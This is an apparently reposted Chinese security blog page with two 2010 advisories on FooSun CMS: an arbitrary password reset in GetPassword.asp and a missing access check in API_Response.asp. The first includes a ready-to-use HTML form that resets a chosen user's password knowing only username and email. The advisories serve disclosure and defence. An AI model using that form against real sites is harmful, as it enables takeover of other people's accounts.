体验盒子

收藏唠嗑，希望你喜欢！

风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞

2010年7月4日 Vulndb 没有评论 | 热度：60 ℃

发布时间:2010-07-02

影响版本:FooSun > 5.0

漏洞描述:

FoosunCMS是一款具有强大的功能的基于ASP+ACCESS/MSSQL构架的内容管理软件。

在文件\User\ GetPassword.asp中：

ElseIf Request.Form("Action") = "step3" then //第28行
Call step3()
……
Sub step3() //第198行
Dim p_pass_new,p_confim_pass_new
p_pass_new = md5(Request.Form("pass_new"),16)
……
User_Conn.execute("Update FS_ME_Users set UserPassword ='"& NoSqlHack(p_pass_new) &"' where UserName = '"& NoSqlHack(StrUserName) &"' and Email = '"& NoSqlHack(Replace(Request.Form("Email"),"''",""))&"'") //第220行

用户可以本地构造表单使程序直接进入修改密码，只需要知道用户名和邮箱。

<*参考

Bug.Center.Team

测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

<form id="form1" name="form1" method="post" action="http://ssvdb.com/User/GetPassword.asp">
<input name="Action" type="text" id="Action" value="step3" />
<input name="pass_new" type="text" id="pass_new" value="123456" />
<input name="confim_pass_new" type="text" id="confim_pass_new" value="123456" />
<input name="Email" type="text" id="Email" value="bb@126.com" />
<input name="UserName" type="text" id="UserName" value="bb" />
<input type="submit" name="Submit" value="提交" />
</form>

安全建议:

厂商补丁：
FooSun
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.foosun.net/

风讯网站管理系统API_Response.asp页面存在越权漏洞

2010年6月18日 Vulndb 没有评论 | 热度：24 ℃

来源：WEB应用漏洞库

影响版本:
FooSun > 5.0

漏洞分析:
在文件\API\ API_Response.asp中：

If Request.QueryString<>"" Then //第16行
SaveUserCookie()
Else
Set XmlDoc = Server.CreateObject("msxml2.FreeThreadedDOMDocument"  & MsxmlVersion)
XmlDoc.ASYNC = False
If Not XmlDoc.LOAD(Request) Then
Status = 1
Messenge = "数据非法，操作中止！"
appid = "未知"
Else
If Not (XmlDoc.documentElement.selectSingleNode("userip") is  nothing) Then
UserTrueIP = XmlDoc.documentElement.selectSingleNode("userip").text
End If
If CheckPost() Then
Select Case Act
Case "checkname"

整合文件中没有判断程序是否开启，恶意用户可以向该文件提交数据来进行修改删除用户的操作。

解决方案:
厂商补丁：
FooSun
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.foosun.net/